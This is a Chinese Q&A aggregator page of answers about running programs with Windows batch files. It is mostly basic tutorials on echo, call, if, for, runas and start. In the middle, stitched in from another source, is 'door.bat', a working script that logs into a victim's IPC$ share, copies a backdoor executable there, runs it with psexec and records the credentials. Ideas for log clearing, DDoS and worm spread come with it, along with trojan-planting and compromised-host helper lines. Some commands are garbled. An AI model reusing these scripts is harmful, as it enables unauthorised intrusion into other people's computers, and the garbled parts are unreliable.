導航:首頁 > 程序命令 > 批處理命令運行程序

批處理命令運行程序

發布時間:2022-09-09 18:11:42

Ⅰ 關於批處理設置運行命令

直接鍵盤輸入HELP然後回車就可以得到XP自帶的DOS的所有系統命令
如果需要查看某一命令的詳細用法請在命令後面加「
/?」(如:
/?
注意/?前面有空格)
以下是在CMD狀態下輸入HELP所得到的內容
ASSOC
顯示或修改文件擴展名關聯。
AT
計劃在計算機上運行的命令和程序。
ATTRIB
顯示或更改文件屬性。
BREAK
設置或清除擴展式
CTRL+C
檢查。
CACLS
顯示或修改文件的訪問控制列表(ACLs)。
CALL
從另一個批處理程序調用這一個。
CD
顯示當前目錄的名稱或將其更改。
CHCP
顯示或設置活動代碼頁數。
CHDIR
顯示當前目錄的名稱或將其更改。
CHKDSK
檢查磁碟並顯示狀態報告。
CHKNTFS
顯示或修改啟動時間磁碟檢查。
CLS
清除屏幕。
CMD
打開另一個
Windows
命令解釋程序窗口。
COLOR
設置默認控制台前景和背景顏色。
COMP
比較兩個或兩套文件的內容。
COMPACT
顯示或更改
NTFS
分區上文件的壓縮
CONVERT

FAT
卷轉換成
NTFS。您不能轉換
當前驅動器。
COPY
將至少一個文件復制到另一個位置。
DATE
顯示或設置日期。
DEL
刪除至少一個文件。
DIR
顯示一個目錄中的文件和子目錄。
DISKCOMP
比較兩個軟盤的內容。
DISKCOPY
將一個軟盤的內容復制到另一個軟盤。
DOSKEY
編輯命令行、調用
Windows
命令並創建宏。
ECHO
顯示消息,或將命令回顯打開或關上。
ENDLOCAL
結束批文件中環境更改的本地化。
ERASE
刪除至少一個文件。
EXIT
退出
CMD.EXE
程序(命令解釋程序)。
FC
比較兩個或兩套文件,並顯示
不同處。
FIND
在文件中搜索文字字元串。
FINDSTR
在文件中搜索字元串。
FOR
為一套文件中的每個文件運行一個指定的命令。
FORMAT
格式化磁碟,以便跟
Windows
使用。
FTYPE
顯示或修改用於文件擴展名關聯的文件類型。
GOTO

Windows
命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL
啟用
Windows
來以圖像模式顯示
擴展字元集。
HELP
提供
Windows
命令的幫助信息。
IF
執行批處理程序中的條件性處理。
LABEL
創建、更改或刪除磁碟的卷標。
MD
創建目錄。
MKDIR
創建目錄。
MODE
配置系統設備。
MORE
一次顯示一個結果屏幕。
MOVE
將文件從一個目錄移到另一個目錄。
PATH
顯示或設置可執行文件的搜索路徑。
PAUSE
暫停批文件的處理並顯示消息。
POPD
還原
PUSHD
保存的當前目錄的上一個值。
PRINT
列印文本文件。
PROMPT
更改
Windows
命令提示符。
PUSHD
保存當前目錄,然後對其進行更改。
RD
刪除目錄。
RECOVER
從有問題的磁碟恢復可讀信息。
REM
記錄批文件或
CONFIG.SYS
中的注釋。
REN
重命名文件。
RENAME
重命名文件。
REPLACE
替換文件。
RMDIR
刪除目錄。
SET
顯示、設置或刪除
Windows
環境變數。
SETLOCAL
開始批文件中環境更改的本地化。
SHIFT
更換批文件中可替換參數的位置。
SORT
對輸入進行分類。
START
啟動另一個窗口來運行指定的程序或命令。
SUBST
將路徑跟一個驅動器號關聯。
TIME
顯示或設置系統時間。
TITLE
設置
CMD.EXE
會話的窗口標題。
TREE
以圖形模式顯示驅動器或路徑的目錄結構。
TYPE
顯示文本文件的內容。
VER
顯示
Windows
版本。
VERIFY
告訴
Windows
是否驗證文件是否已正確
寫入磁碟。
VOL
顯示磁碟卷標和序列號。
XCOPY
復制文件和目錄樹。

Ⅱ 批處理運行程序

批處理語法:

先講個最基本的東西 @echo off

echo的意思是迴旋,這里的意思就是回顯,echo off意思就是關閉回顯.前面的@表示echo off 這一行也不會回顯你可以試著去掉@和整行去掉.@的另一個功能是在執行完批處理文件時自動恢復命令回顯。如果第一句用的是ECHO OFF,那麼在執行完批處理文件以後不會顯示命令提示符。

舉個例子:如果我們先創建一個1.bat文件,往裡面輸入:

dir 然後保存在c:\下.然後我們運行cmd,進入c盤根目錄下,輸入1.bat,則顯示:

C:>dir
驅動器 C 中的卷沒有標簽。
卷的序列號是 0C5D-07FF

C: 的目錄

2004-08-25 00:45 <DIR> WINDOWS
2004-08-25 00:51 <DIR> Documents and Settings

...........

C:

如果將1.bat內容修改成

echo off

dir

然後再在cmd里輸入1.bat,則會顯示

C:>echo off //因為運行了echo off,所以沒有顯示dir命令,直接顯示了結果
驅動器 C 中的卷沒有標簽。
卷的序列號是 0C5D-07FF

C: 的目錄

2004-08-25 00:45 <DIR> WINDOWS
2004-08-25 00:51 <DIR> Documents and Settings

.....

C:

如果將1.bat文件修改成:

@echo off
dir

則顯示成:

C:>1.bat //與前面不同,並沒有顯示echo off,原因是加了@,所以不顯示@後面的內容.又因為加

//了echo off,所以後面的命令不顯示,直接顯示結果
驅動器 C 中的卷沒有標簽。
卷的序列號是 0C5D-07FF

C: 的目錄

2004-08-25 00:45 <DIR> WINDOWS
2004-08-25 00:51 <DIR> Documents and Settings

....

C:

通過以上的比較,相信你對echo off命令已經充分掌握了.現在已經1點了...寫得累啊!!!洗澡睡覺去了

----------------------

早晨6點就被拉起來了...我命苦啊,那麼繼續寫吧

----------------------

接下來講的是call命令:

call 是打電話的call,而不是」喔靠」的靠:).call的意思為調用.假如有2個批處理文件a.bat和b.bat.如果我想運行a.bat的當中運行 b.bat.如何運行呢?其實很簡單,只要在a.bat文件中輸入call命令,則可以在a.bat運行的當中,運行b.bat,等b.bat運行完之後,繼續執行a.bat

call命令格式:

CALL [drive:][path]filename [batch-parameters]

batch-parameters 指定批處理程序所需的命令行信息。

舉例如下,我們在c盤根目錄下創建a.bat文件,內容為:

echo this is a.bat

call d:b.bat

echo done

然後在d盤根目錄下創建b.bat,內容為:

echo this is b.bat

保存後,打開cmd,進入c盤根目錄,然後輸入1.bat,顯示如下:

C:>a.bat

C:>echo this is a.bat
this is a.bat

C:>call d:b.bat

C:>echo this is b.bat
this is b.bat

C:>echo done
done

由例子很容易看出來,是先運行a.bat的內容,直到遇到call b.bat後,則調用b.bat,運行完b.bat後,再返回a.bat接著運行call b.bat後面的echo done語句,直至將a.bat的所有批處理命令運行完.

註:裡面有個[batch-parameters]裡面的所指的參數是什麼,知道的朋友能否告知,不勝感激.

PAUSE 命令

暫停批處理程序的執行並顯示一條消息,提示用戶按任意鍵繼續執行。只能在批處理程序中使用該命令。

rem命令:

表示此命令後的字元為解釋行(注釋),不執行,只是給自己今後參考用的(相當於程序中的注釋).

同時你可以用兩個冒號來替代rem.如: ::等同於一個rem.但他們有個區別,就是用::作注釋的話他是不回顯的,即使你打echo on強制回顯也沒有同的.同時rem可以在config.sys中加註釋.

語法: rem[commnet]

批處理文件參數:

有點變成基礎的人都知道函數有參數.批處理文件也有參數.

我打個比方,希望能幫助沒有語言基礎的人也能看的非常明白.

我從例子里開始吧.首先在c盤根目錄下創建一個批處理文件 a.bat,裡面輸入內容

echo %1

然後打開cmd,然後進入c盤根目錄.輸入:a "this is a canshu"

得到結果如下:

C:>a.bat "this is a test"

C:>echo "this is a test"
"this is a test"

輸入的a "this is a canshu"中,a為新建的a.bat的文件名a(後面的.bat可寫也可不寫),而a後面的 "this is a canshu"這句話就是參數,寫在這的參數,在程序運行中就將參數自動放到批處理程序中去.那麼放在什麼位置呢?就是放在 %1的地方.

看了例子,讓我們看看整個關於參數的定義如何:

批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符"%"。
%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字元串。變數可以從%0到%9,%0表示批處理命令本身,其它參數字元串用%1到%9順序表示。//我們上個程序的例子里就有%1,他就是參數,而輸入中」this is a test」作為參數就直接放到%1的位置,於是程序就變成了 echo "this is a test".

再舉幾個例子幫助你理解:

C:根目錄下一批處理文件名為b.bat,內容為:
@echo off
type %1 //type為dos中的輸出命令,可以用來輸出文本文件的內容,比如我們新建一個1.txt文件

//裡面輸入內容,保存.進cmd,如果輸入1.txt則看不了1.txt文件內容,但是如果我

//想看怎麼辦呢?這時候可以用type命令,只要在cmd里輸入type 1.txt就能顯示

//1.txt文件中的內容了
type %2

那麼運行C:>b a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt

於是上面的批處理命令就變成了

@echo off

type a.txt

type b.txt
於是上面的命令將順序地顯示a.txt和b.txt文件的內容。

沒有編程基礎的人可能要問,干什麼要弄個參數啊?在後面加個參數多麻煩啊?直接往裡面寫不就好了啊?!其實這樣想有對的方面也有錯的方面.還是舉個例子說明吧.

第一步還是在c盤根目錄下新建一個批處理文件,我們取名仍為a.bat.往裡面的內容輸入為:

ping %1 //ping命令可以簡單理解為測試一台機器開著還是沒有開,如果開著的話,他就回給你回送回應.

然後進cmd,我們想測試下163的伺服器是不是開著,則輸入a www.163.com

對於知道ping命令的人,可以打ping進行檢查,但如果想ping的人不知道ping命令怎麼用,那怎麼辦啊?這時候你就可以把命令預先輸入到批處理文件中,保存好,然後讓不會用的人進cmd,運行你的批處理文件,文件名後面加上他要ping 的網站地址就行了.換句話說,他想ping 163就直接加163的網址,想ping sina就直接加sina的網址.這樣只要輸入一個參數,而不用改程序本身,整個程序的通用性就大大提高了.

這是對於一個簡單的ping命令,你或許覺得用參數不值得,還是直接改不就好了啊.但如果程序有很多條,你一下找不到在哪改怎麼辦啊?所以,不管你是菜哥,菜弟,菜姐,菜妹,只要運行下,輸入參數,結果自己就會出來,不用再象你一樣,考慮怎麼編寫批處理文件.人家只要知道是輸入什麼東西能讓批處理程序運行,而編寫的人則想的是如何讓不懂程序的人能運行程序.

批處理參數就這么簡單,不知道你理解了沒有?但如果你想深一步了解批處理參數,可以接著往下看,如果不想深入了解,知道現在這么多也就夠了.

以下粉紅色內容為網上資料.

====================================

因為參數只有1%-9%,但當我們要引用第十個或更多個參數時, 就必須移動DOS 的參數起始指針. shift 命令正充當了這個移動指針的角色, 它將參數的起始指針移動到下一個參數, 類似C 語言中的指針操作. 圖示如下:

初始狀態, cmd 為命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
&line; &line; &line; &line; &line; &line; &line; &line; &line; &line;
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

經過1次shift後, cmd 將無法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
&line; &line; &line; &line; &line; &line; &line; &line; &line; &line;
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

經過2次shift後, arg1也被廢棄, %9指向為空, 沒有引用意義
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
&line; &line; &line; &line; &line; &line; &line; &line; &line; &line;
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

遺憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 內核命令行環境下, shift 才支持 /n 參數, 可以以第一參數為基準返復移動起始指針.
=================

if goto choice for高級語法

今天就寫到這吧,我收拾收拾東西准備滾蛋回學校了.可能if goto choice for高級語法要在沈陽才能完成了,祝我好運吧.

======================

學校的"網吧"終於算重新開張了,抓緊時間把剩下的寫完

if命令

說得通俗點,if就相當於我們白話里的如果.

舉個例子:如果a喜歡b,那麼a就要娶b. 這句話翻譯成計算機語言就成了

if a喜歡b a就要娶b.

當然拉,計算機不可能理解a喜歡b,a就要娶b這兩句話,這里只是舉個例子讓你方便理解.

if語句一共有3種模式,如下:

IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
IF [NOT] ERRORLEVEL number command

NOT 指定只有條件為 false 的情況下, Windows XP 才應該執行該命令。

ERRORLEVEL number 如果最後運行的程序返回一個等於或大於指定數字的退出編碼,指定條件為 true。

string1==string2 如果指定的文字字元串匹配,指定條件為 true。

EXIST filename 如果指定的文件名存在,指定條件為 true。

command 如果符合條件,指定要執行的命令。如果指定的條件為 FALSE,命令後可跟一個執行 ELSE關鍵字後的命令的 ELSE 命令。

我們先講解第一種:

IF [NOT] string1==string2 command

自然語句意思:如果string1==string2,那麼執行command

下面再舉個能實際應用的if語句.

自然語句:如果輸入的參數為3,那麼顯示」a=3」

計算機語句:

@echo off
if "%1"=="3" echo "a=3"

或者寫成

@echo off
if %1==3 echo "a=3"

注意:當要測試的時候,因在cmd底下,輸入1.bat 3.因為這里用了是傳遞參數,具體看文章前部分"批處理文件參數".

第二種:

IF [NOT] EXIST filename command

這條命令用語檢測文件是否存在.如果存在,執行command.如果不存在,則什麼也不顯示.

如:我們想檢查e盤根目錄下是否有一個叫2.txt的文件.如果存在,則顯示exist.如果不存在,則什麼也不顯示.

批處理命令如下:

@echo off
if exist e:2.txt echo "exist 2.txt"

第三種:

IF [NOT] ERRORLEVEL number command

這個我引用點資料,感覺別人寫得更詳細,引用部分為粉色字部分:

if errorlevel <數字> 待執行的命令

很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

==== 注 ===========
返回值從大到小的順序排列不是必須的, 而只是執行命令為 goto 時的習慣用法, 當使用 set 作為執行命令時, 通常會從小到大順序排列, 比如需將返回碼置入環境變數, 就需使用以下的順序形式:

if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...

當然, 也可以使用以下循環來替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e //此處為一個for循環,後面會繼續 介紹到的,看不懂可以先跳過去

if errorlevel 比較返回碼的判斷條件並非等於, 而是大於等於. 由於 goto 的跳轉特性, 由小到大排序會導致在較小的返回碼處就跳出; 而由於 set命令的 "重復" 賦值特性, 由大到小排序會導致較小的返回碼 "覆蓋" 較大的返回碼.

另外, 雖然 if errorlevel=<數字> command 也是有效的命令行, 但也只是 command.com 解釋命令行時將 = 作為命令行切分符而忽略掉罷了

choice命令

????

goto命令

for命令

for命令其實就是一個循環命令,如果我們想重復一個語句,就可以用for命令.通過for命令,可以控制循環的次數等.

語法:

FOR %variable IN (set) DO command [command-parameters]

%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters
為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I.

不知道你你看懂了沒有,其實還是很容易理解的,還是舉個例子吧.我想用type列印所有c盤根目錄下的bat文件和txt文件.dos底下命令就是 type *.bat *.txt.先將該文件保存在c盤根目錄下,名稱為a.bat

用for命令如下:

for %%t in (*.bat *.txt) do type %%t

%%t其實就是代表的一個參數,他的內容在in() 裡面括弧里的內容.也就是說這句話里的%%t就變成了*.bat *.txt了.do就是做的意思,執行type命令,而type後面是%%t,而%%t又是*.bat *.txt.所以原來這句命令的意思就變成了:

type *.bat *.txt

執行時進cmd,然後到c盤根目錄下輸入a.bat就可以列印出c盤根目錄下所有擴展名為.bat和.txt的文件內容了.

這里要注意:in後面有個空格.

在xp底下,for命令擴展名被起用因此for的功能變得更加強大.下面講一個真正的循環.

FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)

裡面第一個1在start的位置,意思是起始位置,第2個1在step位置,英文意思是跨步,在這裡面的意思是每次增量為1.後面的5在end的位置,意思是結束時的大小.

這句話的意思就是從1(start)開始增加,每次增加1(step),一直到變到5(end)為止.

這個有什麼用呢?其實我感覺這個東西的用處還是很大的.舉個最簡單的例子,我們想重復回顯"i am the best"這句話,重復顯示10遍.那麼for命令如下:

for /L %%e in (1,1,10) do echo "i am the best"

這時,cmd就會重復輸入"i am the best"10遍.

===============================================

看完整篇文章了嗎?咳...我寫的不容易啊....

現在不知道你對bat有了什麼樣的理解,我現在的感覺就是bat就是dos命令的組合,你把dos命令全寫進bat命令,只要運行下bat就會挨個執行dos命令,這無疑提供了不少的方便。

下面我再舉些實例.

刪除默認共享:

對於默認共享不知道你了解多少,反正留著是個隱患,現在唯一的辦法好象只能做個bat文件進行刪除.命令如下:

net share ipc$Content$nbsp;/delete
net share admin$Content$nbsp;/delete
net share c$Content$nbsp;/delete
net share d$Content$nbsp;/delete
net share e$Content$nbsp;/delete

……

裡面的c d e為你的盤符。如果你只有一個分區,那麼寫到net share c$Content$nbsp;/delete為止就可以了。如果你有n個分區,那麼就挨個寫下去。

net share d$Content$nbsp;/delete
net share e$Content$nbsp;/delete

net share f$Content$nbsp;/delete

net share g$Content$nbsp;/delete……

登陸到內網的機器快捷方式(對方機器有密碼且為2000或以上系統)

net use \192.168.0.1 [密碼] /user:[用戶名]
explorer \192.168.0.1

bat文件備份注冊表

set regfile=%date% //設置變數,下面出現%regfile%的都自動替換「當天date」

if exist "%regfile%" goto end //如果發現當天date命名的目錄,跳到文件尾。
md temp //建temp目錄

call 1.bat //調用1.bat
del 1.bat
ren 2.bat 1.bat
ren 3.bat 2.bat
ren 4.bat 3.bat
echo move "%regfile%" temp >4.bat //寫 移動「當天date命名的目錄」到temp的bat文件 。

md "%regfile%" //建當天date命名的目錄
cd "%regfile%" //進入

reg export hkcu hkcu.reg //導出注冊表
reg export hklm hklm.reg
//HKEY_CURRENT_USER 縮寫hkcu 。存放當前用戶個人數據
//HKEY_LOCAL_MACHINE 縮寫hklm 。系統的核心數據
cd..
deltree /y temp >nul ////返回上級目錄 ,刪temp文件夾
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

No.2
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51
.
2002-05-14 23:51
..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55
.
2002-05-14 23:55
..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb && file://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法可以替換IF exist了 :)

3.||

Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

Ⅲ 如何運行批處理命令

舉個例子:
打開記事本,輸入:
md
aaa
md
bbb
md
ccc
好了,保存到桌面,隨便取文件名為ddd.bat(擴展名為.bat)
到桌面雙擊ddd.bat,桌面建了三個文件夾aaa、bbb、ccc就是通過執行批處理文件ddd.bat得到的---處理了一批命令。
這需要了解dos命令。

Ⅳ 如何使用BAT批處理以管理員身份運行某程序

使用runas命令。例如當前系統有一個普通用戶,現在想用管理員的許可權運行一個記事本程序,那麼執行命令:
runas /user:administration c:\windows\system32\notepad.exe"
輸入上述命令後回車,系統會和你交互一次該用戶的密碼輸入過程,簡單地說就是回車之後才能輸入administration用戶的密碼。將改命令保存為bat文件,雙擊這個bat文件這樣就是以管理員許可權運行某個程序了。

Ⅳ 求教 批處理命令運行程序

@echo off
set s=e:\路徑\lmp_win_no-mpi.exe
start %s%
echo Set WshShell = WScript.CreateObject("WScript.Shell")>>temp.vbs
echo WScript.Sleep 2000>>temp.vbs
echo WshShell.AppActivate "%p%">>temp.vbs
echo WScript.Sleep 200>>temp.vbs
echo WshShell.SendKeys "jump si.in">>temp.vbs
echo WScript.Sleep 200>>temp.vbs
echo WshShell.SendKeys "{ENTER}">>temp.vbs
temp.vbs
del temp.vbs

Ⅵ 求批處理運行應用程序的命令

將一下內容保存為bat文件:

@echo off
set ApplPath=C:\Maxthon2\Maxthon.exe
start %ApplPath%
exit

註: 「ApplPath=」後面的內容替換為你想要運行的應用程序路徑就可以了

Ⅶ 怎樣在dos中用批處理命令自動運行程序

DOS啟動時載入autoexec.bat批處理文件,可以在這個文件裡面入需要運行的程序,命令格式:路徑\文件名\參數。要是需要在啟動以後載入批處理命令的話,需要做*.bat文件。可以用icetommoy
的方法,也可以用edit這種文檔處理文件編寫。

Ⅷ 使用批處理命令,運行程序

兄弟,在同一磁碟下直接使用CD命令是可以到達相應目前的,如果CD指定的目錄不在當然驅動器,必須要先切換驅動器才能到達相應目錄的。你在CD ***前最好加個C:或D:來切換驅動器。這樣才能達到目標,如:
:android
C:
cd \cygwin
start Cygwin.bat
:jiebao
D:
cd \jiebao
start 1.exe
:reboot
e:
cd \desktop
start chrome.exe

Ⅸ 關於批處理命令及自動運行程序的話題

舉個例子。如果開機要運行
ipocnifg,把下面的代碼復制到記事本,保存為bat格式的文件。
放置到
開始菜單-程序-啟動裡面就好了。代碼如下
@echo
off
ipocnifg
pause
多個命令的話就在首行和pause之間添加進去就可以.
如果需要各個命令之間暫停,方便查看就在每個命令下面添加pause
麻煩採納,謝謝!

Ⅹ 如何用批處理命令設置啟動某一個程序

在桌面上先建立一個文本文件(也就是後綴是txt的文件),什麼名字都可以。然後在裡面鍵入d:/aaa/aaa.exe
,最後重命名為1.bat就可以了。你自己試一試吧!

閱讀全文

與批處理命令運行程序相關的資料

熱點內容
千聊免費課程可以重新加密嗎 瀏覽:507
python能代替php嗎 瀏覽:252
phpexcel樣式 瀏覽:265
安卓手機有沒有什麼軟體可以阻止彈廣告的 瀏覽:306
linux區域網搭建伺服器 瀏覽:690
python編譯器mac 瀏覽:293
windows的doc命令 瀏覽:463
nfc全加密門禁卡 瀏覽:636
身份信息被加密 瀏覽:482
我的鹽城app怎麼添加不了家庭成員 瀏覽:493
php商城並發 瀏覽:348
熊貓繪畫app怎麼做出大佬的筆刷 瀏覽:603
雲存儲伺服器知識 瀏覽:461
伺服器cpu是什麼指令集 瀏覽:591
糖貓t10怎麼安裝app 瀏覽:992
電腦加密u盤怎麼使用 瀏覽:518
linux如何升級php版本升級 瀏覽:841
二級程序員c語言難度 瀏覽:353
批處理編譯qt 瀏覽:67
鐵友app怎麼查詢機票訂單 瀏覽:197